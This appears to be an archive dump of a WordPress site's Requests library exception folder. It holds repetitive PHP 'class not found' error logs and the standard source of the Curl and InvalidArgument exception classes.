  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[06-Dec-2025 18:38:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[06-Dec-2025 18:51:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[23-Dec-2025 11:31:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[23-Dec-2025 11:52:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[24-Dec-2025 14:43:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[24-Dec-2025 15:08:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[04-Jan-2026 10:03:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[04-Jan-2026 10:13:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[06-Jan-2026 00:33:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[06-Jan-2026 01:13:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[06-Jan-2026 01:26:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[13-Jan-2026 23:45:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[14-Jan-2026 00:06:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
Exception/Transport/Curl.php000064400000002565152223033010012113 0ustar00<?php
/**
 * CURL Transport Exception.
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Transport;

use WpOrg\Requests\Exception\Transport;

/**
 * CURL Transport Exception.
 *
 * @package Requests\Exceptions
 */
final class Curl extends Transport {

	const EASY  = 'cURLEasy';
	const MULTI = 'cURLMulti';
	const SHARE = 'cURLShare';

	/**
	 * cURL error code
	 *
	 * @var integer
	 */
	protected $code = -1;

	/**
	 * Which type of cURL error
	 *
	 * EASY|MULTI|SHARE
	 *
	 * @var string
	 */
	protected $type = 'Unknown';

	/**
	 * Clear text error message
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	/**
	 * Create a new exception.
	 *
	 * @param string $message Exception message.
	 * @param string $type    Exception type.
	 * @param mixed  $data    Associated data, if applicable.
	 * @param int    $code    Exception numerical code, if applicable.
	 */
	public function __construct($message, $type, $data = null, $code = 0) {
		if ($type !== null) {
			$this->type = $type;
		}

		if ($code !== null) {
			$this->code = (int) $code;
		}

		if ($message !== null) {
			$this->reason = $message;
		}

		$message = sprintf('%d %s', $this->code, $this->reason);
		parent::__construct($message, $this->type, $data, $this->code);
	}

	/**
	 * Get the error message.
	 *
	 * @return string
	 */
	public function getReason() {
		return $this->reason;
	}

}
Exception/Transport/.htaccess000064400000000000152223033010012251 0ustar00Exception/InvalidArgument.php000064400000002122152223033010012270 0ustar00<?php

namespace WpOrg\Requests\Exception;

use InvalidArgumentException;

/**
 * Exception for an invalid argument passed.
 *
 * @package Requests\Exceptions
 * @since   2.0.0
 */
final class InvalidArgument extends InvalidArgumentException {

	/**
	 * Create a new invalid argument exception with a standardized text.
	 *
	 * @param int    $position The argument position in the function signature. 1-based.
	 * @param string $name     The argument name in the function signature.
	 * @param string $expected The argument type expected as a string.
	 * @param string $received The actual argument type received.
	 *
	 * @return \WpOrg\Requests\Exception\InvalidArgument
	 */
	public static function create($position, $name, $expected, $received) {
		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
		$stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);

		return new self(
			sprintf(
				'%s::%s(): Argument #%d (%s) must be of type %s, %s given',
				$stack[1]['class'],
				$stack[1]['function'],
				$position,
				$name,
				$expected,
				$received
			)
		);
	}
}
Exception/error_log000064400000201416152223033010010412 0ustar00[19-Sep-2024 20:14:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[19-Sep-2024 20:14:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[19-Sep-2024 20:14:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[19-Sep-2024 20:28:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[19-Sep-2024 20:28:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[19-Sep-2024 20:29:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[10-Nov-2024 08:44:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[10-Nov-2024 08:44:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[10-Nov-2024 08:50:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[10-Nov-2024 11:33:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[10-Nov-2024 11:33:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[10-Nov-2024 11:33:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[13-Nov-2024 09:52:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[13-Nov-2024 09:52:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[13-Nov-2024 09:52:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[17-Nov-2024 02:14:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[17-Nov-2024 02:14:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[17-Nov-2024 02:14:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[19-Nov-2024 00:34:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[19-Nov-2024 00:34:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[16-Jan-2025 06:39:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[16-Jan-2025 06:39:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[16-Jan-2025 06:42:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[16-Jan-2025 07:43:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[16-Jan-2025 07:43:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[16-Jan-2025 07:45:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[02-Feb-2025 01:44:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[02-Feb-2025 01:44:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[02-Feb-2025 01:45:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[02-Feb-2025 02:35:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[02-Feb-2025 02:35:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[02-Feb-2025 02:35:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[22-Feb-2025 06:14:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[22-Feb-2025 06:14:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[22-Feb-2025 06:14:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[22-Feb-2025 06:25:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[22-Feb-2025 06:25:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[22-Feb-2025 06:25:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[29-Mar-2025 10:12:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[29-Mar-2025 10:12:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[29-Mar-2025 10:12:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[13-May-2025 10:04:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[13-May-2025 10:04:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[13-May-2025 10:04:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[13-May-2025 10:04:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[13-May-2025 10:04:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[13-May-2025 10:04:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[13-May-2025 10:04:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[13-May-2025 10:05:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[13-May-2025 10:05:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[13-May-2025 10:05:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[13-May-2025 10:05:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[13-May-2025 10:05:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[14-May-2025 11:56:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[14-May-2025 11:56:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[14-May-2025 11:56:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[14-May-2025 11:56:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[14-May-2025 11:56:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[14-May-2025 11:56:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[14-May-2025 11:56:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[14-May-2025 11:56:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[14-May-2025 11:56:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[14-May-2025 11:56:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[14-May-2025 11:56:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[14-May-2025 11:56:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[14-May-2025 14:33:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[14-May-2025 14:33:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[14-May-2025 14:33:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[14-May-2025 14:33:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[14-May-2025 14:33:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[14-May-2025 14:33:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[14-May-2025 14:33:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[14-May-2025 14:33:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
